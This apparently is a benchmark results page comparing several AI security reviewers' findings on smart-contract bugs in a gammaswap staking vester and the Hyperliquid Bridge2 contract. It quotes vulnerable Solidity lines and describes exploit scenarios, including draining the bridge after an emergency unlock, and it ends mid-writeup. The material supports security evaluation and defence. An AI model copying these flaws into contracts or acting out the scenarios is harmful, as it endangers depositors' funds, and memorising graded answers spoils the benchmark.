Vulnerable symbol: _updateVesting
Preconditions: The loan vester (VesterNoReserve) is deployed via StakingAdmin.setupGsStakingForLoan and set as a handler of the esGSb RestrictedToken; The user has deposited esGSb and the vesting clock has advanced (or a handler acts on the account)
Offending code:
IRestrictedToken(esToken).burn(_account, amount);
- Impact
-
Every vesting user of the loan vester is charged an extra esGSb burn from their wallet equal to the amount vested. The escrowed esGSb accumulates unburned and unrecoverable in the vester. Claims and withdrawals revert, locking the user's escrowed esGSb and vested GS, whenever the wallet balance is below the amount being vested. Handlers can also burn arbitrary accounts' esGSb through the vester.
- Description
-
_updateVesting calls IRestrictedToken(esToken).burn(_account, amount), where _account is the vesting user (or any account named by a handler on claimForAccount/withdrawForAccount/depositForAccount). The vester holds the deposited tokens and is an esGSb handler (StakingAdmin.setupGsStakingForLoan:143), so RestrictedToken.burn (_validateHandler only) burns the third-party wallet balance with no allowance or consent. Vester.sol:387 burns address(this) instead. Also CWE-682: On deposit, VesterNoReserve pulls the user's esGSb into the vester (line 245) and credits balances[_account]. When vesting accrues, _updateVesting calls esToken.burn(_account, amount), which targets the user's wallet, not the vester's custody balance. Vester.sol correctly burns address(this). Also CWE-669: In VesterNoReserve._updateVesting (reached from deposit, claim, claimForAccount, withdraw and withdrawForAccount), the Vester uses its RestrictedToken handler privilege to call esToken.burn(_account, amount). That destroys the user's free wallet balance rather than the esGSb the Vester escrowed in _deposit, which the user never authorized. Vester.sol correctly burns address(this). Also CWE-863: VesterNoReserve._updateVesting calls the handler-only RestrictedToken.burn (which burns any account's balance without allowance) with the vesting user as target, although the esToken being consumed is held by the vester itself (deposited via safeTransferFrom(_account, address(this))). Vester.sol burns address(this) in the same spot. Also CWE-670: The vester is an esGsb handler, so RestrictedToken.burn lets it burn any address's balance with no allowance. _deposit moves the user's esGsb into the vester, but _updateVesting then burns the vested amount from the user's wallet (_account) instead of address(this). The sibling Vester.sol:387 correctly uses burn(address(this), amount).
- Exploit scenario
-
A user vests esGSb through StakingRouter.vestEsGsb, which calls depositForAccount(msg.sender, D). The router is a handler of the vester, and RestrictedToken.transferFrom is handler-gated and ignores allowances, so D moves from the user's wallet to the vester. After time passes, the user (or the router on their behalf) calls claim, withdraw or claimForAccount. _updateVesting moves v from balances to cumulativeClaimAmounts and calls burn(_account, v). This burns v esGSb from the user's wallet while the D tokens in the vester are untouched. If the wallet holds less than v, which is the usual case after vesting the whole balance or staking the rest, the burn reverts. claim and withdraw then both revert, because _withdraw calls _claim first. The escrowed esGSb and the vested GS are frozen until the user receives fresh esGSb from elsewhere. If the wallet does hold enough, the user loses v esGSb from the wallet. withdraw then returns only the unvested D-v, and the vested v esGSb stays in the vester and is never burned. The user effectively pays twice for each vested token. Any handler can also point claimForAccount, withdrawForAccount or depositForAccount at an arbitrary victim and have that victim's esGSb wallet balance burned without consent.
- Recommendation
-
Burn the escrowed tokens held by the vester, as Vester.sol does: IRestrictedToken(esToken).burn(address(this), amount). Never pass a user address to a privileged burn or transferFrom that skips allowance checks. Add tests covering claim and withdraw on VesterNoReserve, including a user whose wallet esGSb balance is zero. Also CWE-682: Burn the escrow tokens the vester actually holds: replace the call with IRestrictedToken(esToken).burn(address(this), amount), as Vester.sol does. Add test coverage for VesterNoReserve claim and withdraw. None exists in test/ today. Also CWE-863: Burn from the vester's own balance, as Vester.sol does: IRestrictedToken(esToken).burn(address(this), amount). Add tests for the loan vester's claim, withdraw and deposit flows. Also CWE-670: Change the call to IRestrictedToken(esToken).burn(address(this), amount), as Vester.sol does. Add a test that checks the vester's esGsb balance and total supply after vesting.
Claude Security (Opus 5.5)
VesterNoReserve uses its RestrictedToken handler burn right on the user's wallet instead of its own escrow, destroying unescrowed esGSb or freezing vesting
contracts/VesterNoReserve.sol:324Predicted severity: High- Root cause
-
Vulnerable symbol: _updateVesting
Preconditions: setupGsStakingForLoan has run, which makes the loan vester an esGSb handler; The user has deposited esGSb into the loan vester (StakingRouter.vestEsGsb or VesterNoReserve.deposit) and some vesting time has passed
Offending code:
IRestrictedToken(esToken).burn(_account, amount);
- Impact
-
Every loan-vester user loses esGSb they never put into vesting, or has their vesting position and GS claims frozen. The vester keeps escrowed esGSb that can never be recovered. No attacker is needed; normal use triggers it.
- Description
-
RestrictedToken.burn (contracts/tokens/RestrictedToken.sol:39-42) lets any handler burn any account's balance with no allowance or consent, so it relies on each handler to name the right account. The loan vester is made an esGSb handler at StakingAdmin.sol:143. When it vests, it burns the vested amount from the user's own wallet (
_account) instead of from its own escrow, where_deposit(line 245) put those tokens. Vester.sol:387 burns fromaddress(this), which is correct. So the token's blanket handler permission is used on a balance the user never handed to the vester. Also CWE-669: _deposit moves the user's esGSb into the vester with safeTransferFrom(_account, address(this), _amount). _updateVesting then burns the vested portion from _account instead of address(this), unlike Vester.sol line 387. The vester is an esGSb handler, so RestrictedToken.burn lets it burn from any address. Also CWE-628: At line 324 the vester uses its esGsb RestrictedToken handler role to call burn(_account, amount). That role can burn from any address, needs no allowance and has no consent check (RestrictedToken.sol:39-42). The user only handed over the esGsb they deposited, which line 245 moved into address(this). Vester.sol:387 correctly burns from address(this), but here the vester destroys esGsb the user never deposited and leaves the deposited tokens stranded in the contract. Also CWE-441: At setup the loan vester is made an esGsb handler (StakingAdmin.sol:143). A handler can burn tokens from any address, with no allowance needed (RestrictedToken.sol:39-43)._updateVestinguses that power to burnamountfrom_account, meaning the user's free wallet balance, when it should burn the esGsb the vester already holds in escrow. Vester.sol:387 burns fromaddress(this)correctly. The user never put those wallet tokens up for vesting, and the escrowed tokens are never burned. - Exploit scenario
-
A user deposits 100 esGSb into the loan vester, which leaves them with no esGSb in their wallet. Six months later they call claim, withdraw, deposit, or StakingRouter.claim(). Each of these calls _updateVesting, which tries to burn 50 esGSb from the user's wallet. The wallet is empty, so the ERC20 burn reverts. The user cannot claim GS or withdraw their escrowed esGSb. StakingRouter.claim() also calls loanVester.claimForAccount, so it reverts for this user and blocks the other reward claims bundled in it. A user who does hold esGSb in their wallet (for example, freshly claimed loan rewards) has that unescrowed balance burned instead. Either way, the matching escrowed esGSb stays stuck in the vester for good.
- Recommendation
-
Burn the vester's own escrowed tokens:
IRestrictedToken(esToken).burn(address(this), amount);as Vester.sol does. Also consider narrowing RestrictedToken.burn so non-manager handlers can burn only their own balance (_account == msg.sender) or must spend an allowance. That way a mistaken account argument in one handler cannot destroy third-party balances. Also CWE-669: Burn from the contract's escrow, as Vester does: IRestrictedToken(esToken).burn(address(this), amount). Also CWE-628: Burn from the vester's own escrow, matching Vester.sol: IRestrictedToken(esToken).burn(address(this), amount). More generally, the vester should never use its handler privileges on an account balance other than its own escrow. Also CWE-441: Burn the escrowed tokens held by the vester rather than the user's wallet:IRestrictedToken(esToken).burn(address(this), amount);. This matches Vester.sol:387.
Vercel Security Review
VesterNoReserve burns users' wallet tokens instead of deposited escrow
contracts/VesterNoReserve.sol:324Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. Deposits remove escrow from the user's wallet** -
contracts/VesterNoReserve.sol:245-247```solidity title="contracts/VesterNoReserve.sol:245-247"
IERC20(esToken).safeTransferFrom(_account, address(this), _amount);
_mint(_account, _amount);
```
**2. Vesting burns an additional payment from that user** -
contracts/VesterNoReserve.sol:321-324```solidity title="contracts/VesterNoReserve.sol:321-324"
_burn(_account, amount);
cumulativeClaimAmounts[_account] = cumulativeClaimAmounts[_account] + amount;
IRestrictedToken(esToken).burn(_account, amount);
```
RestrictedToken.burnburns the specified account's balance, not the caller's (contracts/tokens/RestrictedToken.sol:39-42).**3. Cancellation cannot bypass the incorrect burn** -
contracts/VesterNoReserve.sol:292-293```solidity title="contracts/VesterNoReserve.sol:292-293"
function _withdraw(address _account) private {
_claim(_account, _account);
```
_claimfirst updates vesting (278-279). Once vesting accrues, users without spare esGSb cannot claim or withdraw deposited escrow. Users with spare tokens lose those additional tokens while the corresponding deposited escrow remains stranded. - Exploit scenario
-
Not specified.
- Recommendation
-
Burn vested esToken from address(this), where deposits are held, rather than from _account. Keep the user's vesting-receipt burn separate from the underlying escrow-token burn.
-
Cancellation of isDepositToken still allows rewards to be claimed gammaswap-staking-2 · 1 writeup Medium
V12
Disabling deposits also freezes existing principal
contracts/RewardTracker.sol:73Predicted severity: Low- Root cause
-
Deposit admission and withdrawal eligibility share
isDepositToken, so disabling future deposits also disables exit from existing balances. - Impact
-
An owner configuration change can temporarily freeze principal already deposited in an asset that is no longer intended to admit new stakes. There is no unprivileged escalation: the demonstrated security consequence is confined to a privileged asset-disable operation and remains recoverable by that owner.
- Description
-
RewardTracker.setDepositToken()can disable an asset even while its recorded deposits remain positive. The same eligibility flag gates both new staking and removal of existing deposits, so a disabled asset cannot be withdrawn despite a valid account-specific deposit balance. Reward settlement and claims do not require that flag and can continue, but no alternate principal-withdrawal function bypasses it. The child fee tracker inherits this setter and withdrawal check. Re-enabling the asset through the owner setter restores the path.
-
-
Hyperliquid Solidity Hyperliquid DEX bridge contracts. Tasks 2 V12 2/2 Codex Sec 1/2 Pashov Opus 2/2 Pashov GPT-6 2/2 Devin 2/2 Devin (Deep) 2/2 Claude Sec 2/2 Claude Opus 1/2 Vercel 1/2
Hyperliquid DEX bridge contracts.
Read the audit report-
Withdrawal finalization does not work hyperliquid-1 · 9 writeups High
V12
Nested reentrancy guards permanently block custody withdrawals
Bridge2.sol:60Predicted severity: Critical- Root cause
-
The external batch and its private worker both use the same single-entry
nonReentrantguard. There is no alternative reachable token-release or recovery entrypoint. - Impact
-
Custodied tokens cannot leave through the bridge's withdrawal mechanism, including fully authorized withdrawals whose dispute periods have elapsed. Neither validator rotation nor cold-authorized emergency unlocking removes the nested guard, making the custody freeze permanent within this implementation.
- Description
-
batchedFinalizeWithdrawals()enters the inheritednonReentrantguard and callsfinalizeWithdrawal()without leaving that guarded execution. The private finalizer applies the same guard again, so OpenZeppelin's single-entry guard rejects the first iteration of every nonempty batch. This rejection occurs before checking the withdrawal record, dispute period, completion flag, or token transfer.finalizeWithdrawal()is private and the batch loop is its only caller; the complete contract contains no alternate payout, cancellation, rescue, or custody-token replacement path. Deposits and valid withdrawal requests can therefore succeed while withdrawal settlement cannot.
Codex Security (GPT-6 Sol)
Finalizing any withdrawal batch reverts and traps bridge tokens
Bridge2.sol:302Predicted severity: Critical- Root cause
-
A caller supplies a withdrawal message to the only public finalizer. That function activates
nonReentrantand calls the private helper without leaving the guarded call. The helper applies the same modifier, so OpenZeppelin's reentrancy guard rejects the nested entry before the stored withdrawal can reach the transfer. The private helper has no other public caller. - Impact
-
Every valid withdrawal is blocked, so all tokens held by this deployed contract remain inaccessible through its withdrawal interface. The failure is unconditional for nonempty batches.
- Description
-
batchedFinalizeWithdrawals()enters the reentrancy guard and callsfinalizeWithdrawal(), which enters the same guard again. Every nonempty batch reverts before the token transfer, leaving requested withdrawals unclaimable through the only public finalization path. - Exploit scenario
-
Caller-controlled message array -> public guarded batch -> private guarded finalizer -> revert before
usdcToken.transfer. - Recommendation
-
Remove
nonReentrantfrom the privatefinalizeWithdrawal()helper and keep it on the external batch entry; verify all token release paths share a single effective guard.
Pashov (Claude Opus 5.5 high)
Nested nonReentrant on private finalizeWithdrawal makes batchedFinalizeWithdrawals always revert, permanently freezing all withdrawals
audit/Bridge2.sol:284Predicted severity: High- Root cause
-
The nonReentrant modifier is applied to a private helper that is only reachable from another nonReentrant function. The guard is not reentrant-safe for internal nested calls.
- Impact
-
No withdrawal can ever be finalized. All USDC deposited into the bridge, and every requested withdrawal, is permanently locked in the contract. The contract has no upgrade or rescue path.
- Description
-
batchedFinalizeWithdrawals is the only external way to finalize a withdrawal. It has the nonReentrant modifier and calls the private finalizeWithdrawal, which also has nonReentrant. In OpenZeppelin's ReentrancyGuard, the outer call sets the status to _ENTERED. The inner modifier then sees _ENTERED and reverts with 'ReentrancyGuard: reentrant call'. Every call that passes at least one message therefore reverts.
- Exploit scenario
-
A user calls requestWithdrawal with valid validator signatures and waits out the dispute period. They then call batchedFinalizeWithdrawals([message]). The outer nonReentrant sets _status = _ENTERED. finalizeWithdrawal's nonReentrant then reverts, so the user can never get their USDC. This happens on every attempt for every user, with no attacker needed.
- Recommendation
-
Remove nonReentrant (and the redundant whenNotPaused) from the private finalizeWithdrawal and keep the guard only on the external batchedFinalizeWithdrawals entry point.
Pashov (Codex GPT-6 Sol high)
Every nonempty withdrawal finalization batch reverts, freezing bridged funds
Bridge2.sol:284Predicted severity: Critical- Root cause
-
A private function and its calling external entry point both use the same contract-wide nonReentrant guard.
- Impact
-
No requested withdrawal can be finalized, so all assets deposited into the bridge are frozen on Arbitrum through the intended withdrawal path.
- Description
-
The only externally reachable withdrawal finalizer calls finalizeWithdrawal from batchedFinalizeWithdrawals. Both functions carry OpenZeppelin's nonReentrant modifier. The outer call enters the guard, and the first inner invocation re-enters the same guard and reverts. There is no other public path to finalizeWithdrawal.
- Exploit scenario
-
A user submits a valid signed withdrawal, waits past the dispute period, and calls batchedFinalizeWithdrawals with that message. The transaction reverts at the nested guard before marking the withdrawal finalized or transferring USDC.
- Recommendation
-
Keep nonReentrant on the external batch entry point and remove it from the private helper; route any future external single-item finalizer through a guarded entry point.
Devin Security
Nested nonReentrant guard makes every withdrawal finalization revert, freezing all bridged USDC
Bridge2.sol:284Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
No user can ever finalize a withdrawal, so all USDC deposited into the bridge is permanently stuck in the contract.
##### What's wrong
This is a self-reentrancy lockout.
batchedFinalizeWithdrawalsholds the OpenZeppelinnonReentrantlock and then callsfinalizeWithdrawal, which also hasnonReentrant. OpenZeppelin's guard reverts with "ReentrancyGuard: reentrant call" whenever a guarded function runs while the lock is already held.finalizeWithdrawalisprivate, sobatchedFinalizeWithdrawalsis the only way to release funds, and it always reverts once the batch is non-empty.##### Who can do it
No attacker is needed. Alice, a trader at Acme Corp, deposits 100,000 USDC, trades on the L1, and requests a withdrawal with valid validator signatures. After the dispute period she calls
batchedFinalizeWithdrawals([message]). The call reverts every time.- Any withdrawal request exists (or none; the bug affects all of them).
- The contract is deployed as written with the OpenZeppelin
ReentrancyGuard.##### What they get
Every user's withdrawal fails. Deposits keep working, so the contract keeps taking in USDC that can never leave. The contract has no admin transfer, upgrade, or rescue function, so validators cannot recover the funds either. All USDC held by the bridge is frozen for every user.
##### How it works
1. A user calls
batchedFinalizeWithdrawalsat Bridge2.sol:302, which entersnonReentrantand sets the lock.2. The loop at Bridge2.sol:306-308 calls
finalizeWithdrawal.3.
finalizeWithdrawalat Bridge2.sol:284 is alsononReentrant, sees the lock is held, and reverts.4. The revert undoes the whole transaction, so the USDC transfer at Bridge2.sol:291 never happens.
- Exploit scenario
-
Not specified.
- Recommendation
-
Remove
nonReentrant(and the duplicatewhenNotPaused) from the privatefinalizeWithdrawal, and keep the guard only onbatchedFinalizeWithdrawals. To check the fix, add a test that requests a withdrawal, waits past the dispute period, callsbatchedFinalizeWithdrawals, and asserts that the user's USDC balance increases andFinalizedWithdrawalis emitted.
Devin Security (Deep)
Nested nonReentrant on finalizeWithdrawal makes every withdrawal finalization revert, locking all bridged USDC forever
Bridge2.sol:284Predicted severity: Critical- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Every USDC deposit into this bridge is stuck forever, because the only function that can release a withdrawal always reverts.
##### What's wrong
This is a nested re-entrancy guard. OpenZeppelin's
nonReentrantmodifier reverts when a function markednonReentrantis called while anothernonReentrantfunction on the same contract is already running.batchedFinalizeWithdrawalsis markednonReentrantand it calls the privatefinalizeWithdrawal, which is also markednonReentrant. The inner guard sees the outer guard's "entered" flag and reverts with "ReentrancyGuard: reentrant call".batchedFinalizeWithdrawalsis the only caller offinalizeWithdrawal, andfinalizeWithdrawalholds the onlyusdcToken.transferin the contract. So no USDC can ever leave the contract.##### Who can do it
Alice, a trader at Acme Capital, deposits 1,000,000 USDC into the bridge with
deposit. The L1 credits her and later she asks to withdraw. The validators sign the withdrawal, she callsrequestWithdrawal, and the dispute period passes. Then she (or the bridge watcher bot) callsbatchedFinalizeWithdrawalswith her message. The call reverts every time. No attacker is needed; this happens to every user by default.- The contract is deployed as written, with
finalizeWithdrawalmarkednonReentrant.- The OpenZeppelin
ReentrancyGuardin use is any released version; all of them reject nestednonReentrantcalls.##### What they get
Nobody gains, but every depositor loses. All USDC sent to the bridge is locked permanently. The contract has no admin withdraw, no rescue function and no upgrade path, and the cold validator keys cannot move tokens either. The L1 side already debited the user's balance when the withdrawal was requested, so the money is gone on both sides. This affects every user of the bridge and the full bridge balance.
##### How it works
1. A user deposits USDC through
deposit(Bridge2.sol:241), which moves tokens into the contract.2. The user later calls
requestWithdrawal(Bridge2.sol:249) with a validator-signed voucher, and the request is recorded.3. After the dispute period, anyone calls
batchedFinalizeWithdrawals(Bridge2.sol:302). ItsnonReentrantmodifier sets the guard status to "entered".4. The loop calls
finalizeWithdrawal(Bridge2.sol:284). That function's ownnonReentrantmodifier checks the status, finds "entered", and reverts.5. The whole transaction reverts before
usdcToken.transfer(Bridge2.sol:291) runs. Since this is the only transfer out of the contract, the tokens can never leave. - Exploit scenario
-
Not specified.
- Recommendation
-
Remove
nonReentrant(and the redundantwhenNotPaused) from the privatefinalizeWithdrawal, keeping both modifiers on the externalbatchedFinalizeWithdrawals. Verify with a test that deposits, callsrequestWithdrawalwith a valid voucher, advances time and blocks past the dispute period, and then callsbatchedFinalizeWithdrawalswith that one message; assert the user's USDC balance increases andFinalizedWithdrawalis emitted. This is the test that tests/example.rs:139 marks as still missing.
Claude Security (Sonnet 5.5)
Nested nonReentrant makes batchedFinalizeWithdrawals always revert, permanently locking all deposited USDC
Bridge2.sol:284Predicted severity: Critical- Root cause
-
Vulnerable symbol: finalizeWithdrawal / batchedFinalizeWithdrawals
Preconditions: OpenZeppelin ReentrancyGuard semantics, where a nested nonReentrant call reverts (the import path security/ReentrancyGuard.sol indicates OZ 4.x). The OZ source is not in the staged files, so this is based on known library behaviour.
Offending code:
function finalizeWithdrawal(bytes32 message) private nonReentrant whenNotPaused {
- Impact
-
No withdrawal can ever be finalized, because finalizeWithdrawal is private and batchedFinalizeWithdrawals is the only path to it. Every USDC deposit is permanently locked in the bridge. Nothing in the contract fixes this, because there is no upgrade path and no other transfer-out function.
- Description
-
batchedFinalizeWithdrawals is external nonReentrant and is the only caller of the private finalizeWithdrawal, which is also marked nonReentrant. OpenZeppelin's ReentrancyGuard reverts when a nonReentrant function is entered while _status is already ENTERED, so any non-empty batch reverts. This is outside the memory/overflow lens but is a complete, deterministic path to permanent loss of funds. Also CWE-862: finalizeWithdrawal is reachable by anyone through batchedFinalizeWithdrawals with an arbitrary bytes32. It never checks requestedWithdrawals[message].requestedTime != 0, so a message that was never authorised by a validator quorum passes the dispute-period check with a zero-valued Withdrawal and is flagged finalized.
- Exploit scenario
-
A user deposits USDC and later obtains validator signatures, then calls requestWithdrawal, which succeeds and records the pending withdrawal. After the dispute period the user calls batchedFinalizeWithdrawals([message]). The outer nonReentrant sets _status to ENTERED. The inner call to finalizeWithdrawal runs the nonReentrant modifier again, which sees _status == ENTERED and reverts with 'ReentrancyGuard: reentrant call'. Every attempt reverts the same way, so the funds are stuck. Only an empty array succeeds.
- Recommendation
-
Remove nonReentrant and whenNotPaused from the private finalizeWithdrawal and keep them on the external batchedFinalizeWithdrawals. Alternatively remove nonReentrant from the external wrapper and keep it on the inner function. Add a test that finalizes a withdrawal. Also CWE-862: Add require(withdrawal.requestedTime != 0, "Withdrawal not requested") at the start of finalizeWithdrawal, and consider SafeERC20 for transfers.
Claude Security (Opus 5.5)
Nested nonReentrant guard makes batchedFinalizeWithdrawals always revert, so withdrawals can never be paid out
Bridge2.sol:284Predicted severity: High- Root cause
-
Vulnerable symbol: finalizeWithdrawal
Preconditions: Any non-empty messages array (always the case for a real withdrawal)
Offending code:
function finalizeWithdrawal(bytes32 message) private nonReentrant whenNotPaused {
- Impact
-
No requested withdrawal can ever be finalized and the transfer at line 291 can never run. All USDC deposited into the bridge is frozen for good: the contract has no admin sweep, upgrade path, or other function that moves funds out.
- Description
-
The only external way to finalize a withdrawal is batchedFinalizeWithdrawals, which takes OpenZeppelin's ReentrancyGuard lock and then calls the private finalizeWithdrawal, which tries to take the same lock again. ReentrancyGuard reverts when the lock is already held ('ReentrancyGuard: reentrant call'), so every call with a non-empty array reverts.
- Exploit scenario
-
A user deposits USDC, gets a valid validator-signed withdrawal, calls requestWithdrawal, waits out the dispute period, and calls batchedFinalizeWithdrawals([message]). The outer nonReentrant sets _status=ENTERED. The inner nonReentrant on finalizeWithdrawal sees _status==ENTERED and reverts. Every withdrawal fails the same way, so all deposits are stuck.
- Recommendation
-
Remove nonReentrant (and the duplicate whenNotPaused) from the private finalizeWithdrawal and keep the guard only on the external batchedFinalizeWithdrawals entry point. Alternatively, expose a single external finalizeWithdrawal and build batching on top of an unguarded internal helper.
Vercel Security Review
Nested nonReentrant guards prevent every withdrawal payout
Bridge2.sol:284Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. The new batch entrypoint takes the guard before calling the finalizer** -
Bridge2.sol:304-307```solidity title="Bridge2.sol:304-307"
) external nonReentrant whenNotPaused {
uint64 end = uint64(messages.length);
for (uint64 idx; idx < end; idx++) {
finalizeWithdrawal(messages[idx]);
```
**2. The private finalizer attempts to acquire the same guard again** -
Bridge2.sol:284-286```solidity title="Bridge2.sol:284-286"
function finalizeWithdrawal(bytes32 message) private nonReentrant whenNotPaused {
require(!finalizedWithdrawals[message], "Withdrawal already finalized");
Withdrawal memory withdrawal = requestedWithdrawals[message];
```
OpenZeppelin's shared reentrancy guard rejects this nested entry before the USDC transfer at line 291. This is the sole payout path: every nonempty batch reverts, even with valid requests and elapsed dispute periods. Deposits remain enabled, but users cannot redeem their funds.
- Exploit scenario
-
Not specified.
- Recommendation
-
Keep nonReentrant on the external batchedFinalizeWithdrawals entrypoint, but remove the redundant modifier from its private finalizeWithdrawal helper. Add coverage for successful nonempty withdrawal batches after the dispute period and rejection of repeated finalization.
-
Disputed actions are not blocked by validator rotation hyperliquid-2 · 6 writeups High
V12
Recovery preserves disputed withdrawal authorizations
Bridge2.sol:39Predicted severity: High- Root cause
-
Emergency replacement changes validator authority without invalidating deferred withdrawals accepted under the disputed authority. Settlement trusts stored requests independently of the recovered validator generation, so pause-and-replace is not a withdrawal rejection mechanism.
- Impact
-
If a locker pauses to dispute a hot-signed withdrawal, cold recovery cannot selectively reject or invalidate that already recorded withdrawal; once the settlement guard defect is corrected, resuming permits the old request to transfer escrow despite replacement of its authorizing set. Conditional fund loss arises if the recorded withdrawal is unauthorized on the L1, the exact circumstance the documented locker dispute mechanism is intended to address; the present nested-guard bug prevents an immediate transfer exploit in this implementation.
- Description
-
Cold-authorized emergency recovery replaces the pending validator proposal and active validator metadata, but does not invalidate previously requested withdrawals. A request authenticated under the hot set being disputed remains stored with its original recipient, amount, and clocks after that set is replaced. The withdrawal helper checks only its finalized flag and the dispute gate before transferring tokens; it does not bind the request to an authority generation or require reauthorization after recovery. Thus pausing during a withdrawal's dispute period does not itself cancel that disputed request when the bridge resumes. The separately reported nested reentrancy guards currently block the transfer path, but they do not repair this independent recovery-state defect.
Pashov (Claude Opus 5.5 high)
Emergency lock cannot invalidate fraudulent pending withdrawals; they still finalize after unlock
audit/Bridge2.sol:249Predicted severity: High- Root cause
-
No function lets the cold-wallet quorum (or anyone else) invalidate or delete requestedWithdrawals entries. A withdrawal's validity is fixed when it is requested and is never re-checked against the validator set at finalization.
- Impact
-
If 2/3 of hot-wallet power is compromised, the attacker can request withdrawals for the whole bridge balance. Lockers can only delay the theft. Once the cold quorum unlocks to rotate keys, the attacker finalizes the fraudulent withdrawals and drains the bridge. The cold-wallet dispute mechanism gives no protection against fraudulent withdrawals.
- Description
-
The security model depends on a dispute period during which lockers can lock the bridge if a hot-key quorum signs something that does not match the L1. Locking only pauses the contract. Nothing can remove or invalidate an entry in requestedWithdrawals. emergencyUnlock replaces and finalizes the validator set and unpauses, but every withdrawal requested earlier stays valid. It can be finalized as soon as the contract is unpaused, because its dispute period is measured from the original request time.
- Exploit scenario
-
1) An attacker steals enough hot keys to reach 2/3 power and calls requestWithdrawal(bridgeBalance, nonce, ...) from their address. 2) A locker notices and calls emergencyLock. 3) The validators call emergencyUnlock with new keys using cold signatures. 4) The contract is unpaused and the attacker's requestedWithdrawals entry is unchanged. Its dispute period has already elapsed, so the attacker finalizes it and receives the funds.
- Recommendation
-
Add a cold-quorum-authorized (or locker-callable while paused) invalidateWithdrawals(bytes32[] messages) that marks entries as invalid and is checked in finalizeWithdrawal. Alternatively, record the validator-set epoch on each withdrawal and reject finalization when an emergency unlock happened after the request.
Pashov (Codex GPT-6 Sol high)
Emergency recovery leaves disputed withdrawals payable
Bridge2.sol:269Predicted severity: High- Root cause
-
Emergency unlock does not invalidate or cancel pending withdrawals created under the disputed validator set, and finalization does not recheck the current set.
- Impact
-
A compromised hot quorum can still extract bridge USDC after a locker detects the fraud and a cold quorum performs emergency recovery.
- Description
-
A locker can pause a forged pending withdrawal, but cold-wallet recovery only replaces validators and unpauses. The pending withdrawal remains payable after the dispute period without a fresh signature check.
- Exploit scenario
-
A compromised hot quorum signs a fraudulent withdrawal. A locker pauses the bridge during the dispute period. Cold validators rotate the set and unpause it; the forged request remains in requestedWithdrawals and pays when finalized after the separate reentrancy defect is fixed.
- Recommendation
-
Record the validator-set generation for each withdrawal and invalidate disputed pending withdrawals on recovery, or add a cold-quorum cancellation mechanism before unpausing.
Devin Security
Locking the bridge does not cancel disputed withdrawals, so fraudulent withdrawals still pay out after unlock
Bridge2.sol:591Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
If attackers steal a quorum of validator hot keys, the locker and cold-wallet dispute process cannot stop their already-requested withdrawals, so they can still drain the bridge's USDC after the bridge is unlocked.
##### What's wrong
This is a broken dispute mechanism. The header comment says lockers dispute bad withdrawals during the dispute period. But
emergencyLockonly pauses the contract.emergencyUnlockreplaces the validator set and unpauses. Nothing deletes or invalidates entries inrequestedWithdrawals. A withdrawal signed by the compromised hot set stays valid, andfinalizeWithdrawalonly checks that its time has passed.##### Who can do it
Mallory steals the hot keys of enough Hyperliquid validators to reach two thirds of the power. She signs a withdrawal of the bridge's USDC to her address and calls
requestWithdrawal. Bob, a locker, notices and callsemergencyLock. The cold-wallet holders signemergencyUnlockwith a fresh validator set. As soon as the bridge unpauses, Mallory callsbatchedFinalizeWithdrawalsand gets paid, because her dispute period has already passed.- Mallory controls hot-wallet signatures with at least two thirds of the active validator power.
- Her
requestWithdrawalsucceeds before a locker pauses the bridge.- The cold quorum unlocks the bridge without some separate off-chain way to block her.
##### What they get
Mallory takes up to the bridge's entire USDC balance, which belongs to all depositors. The lock delays her but does not stop her. The only workaround is to never unlock the bridge, which freezes everyone's funds.
##### How it works
1. Mallory's request passes the hot-set signature check and is stored in
requestedWithdrawalsat Bridge2.sol:269-272.2. A locker calls
emergencyLockat Bridge2.sol:591, which only calls_pause().3. The cold quorum calls
emergencyUnlockat Bridge2.sol:596-628, which swaps the validator set and calls_unpause()but never touchesrequestedWithdrawals.4.
finalizeWithdrawalat Bridge2.sol:284-291 only checksfinalizedWithdrawalsand the dispute period, then transfers the USDC to Mallory. - Exploit scenario
-
Not specified.
- Recommendation
-
Give the cold quorum a way to invalidate pending withdrawals. For example, add a cold-signed
invalidateWithdrawals(bytes32[] messages, nonce)that marks them finalized without paying out. Or record the validator epoch on each request and require at finalization that the request's epoch equals the currentepochor was explicitly re-approved. To check the fix, add a test that requests a withdrawal, locks, unlocks with a new set, and asserts that finalization reverts.
Devin Security (Deep)
Disputed withdrawals survive emergencyLock/emergencyUnlock and can be finalized afterwards; the lock cannot cancel a fraudulent withdrawal
Bridge2.sol:269Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
If a thief ever gets a quorum of validator hot keys, the emergency lock cannot stop them from draining the bridge; it only delays the theft until the cold keys unlock the contract.
##### What's wrong
This is a missing invalidation step. The contract's safety design is that a locker pauses the bridge when a bad withdrawal is requested and the cold keys then unlock with a new validator set. But
emergencyUnlockonly replaces the validator set. The record inrequestedWithdrawalsfor the bad withdrawal is never removed or marked invalid, andfinalizeWithdrawalonly checks the dispute clock, which keeps running while the contract is paused. A pending validator set update is replaced on unlock; a pending withdrawal is not.##### Who can do it
Mallory breaks into enough validator servers to collect hot-key signatures worth two thirds of the validator power. She calls
requestWithdrawalfrom her own wallet for the whole bridge balance. Bob, a locker at Hyperliquid, spots the fake withdrawal and callsemergencyLock. The validators rotate to new hot keys and the cold keys callemergencyUnlock. Mallory then callsbatchedFinalizeWithdrawalswith her message and receives the tokens.- Mallory holds signatures over her withdrawal message from hot keys worth at least two thirds of
totalValidatorPower(compromised or colluding validators).- At least
disputePeriodSecondsand the matching number of blocks have passed since her request, counting time spent paused.- The cold keys unlock the bridge at some point; if they never do, every user's funds stay frozen instead.
- The nested
nonReentrantbug infinalizeWithdrawal(separate finding) has been fixed, since today it blocks every finalization.##### What they get
Mallory takes the full USDC balance of the bridge, which is every user's deposited money. Hyperliquid's only alternative is to leave the bridge locked forever, which also loses every user's funds because there is no other way to move tokens out. The locker and cold-key mechanism therefore gives no real protection against the exact threat it was built for.
##### How it works
1. Mallory calls
requestWithdrawal(Bridge2.sol:249) with valid hot-key signatures.checkValidatorSignatures(Bridge2.sol:270) passes and the withdrawal is stored at Bridge2.sol:272.2. A locker calls
emergencyLock(Bridge2.sol:591) and the contract pauses.requestedWithdrawals[message]stays in storage.3. The cold keys call
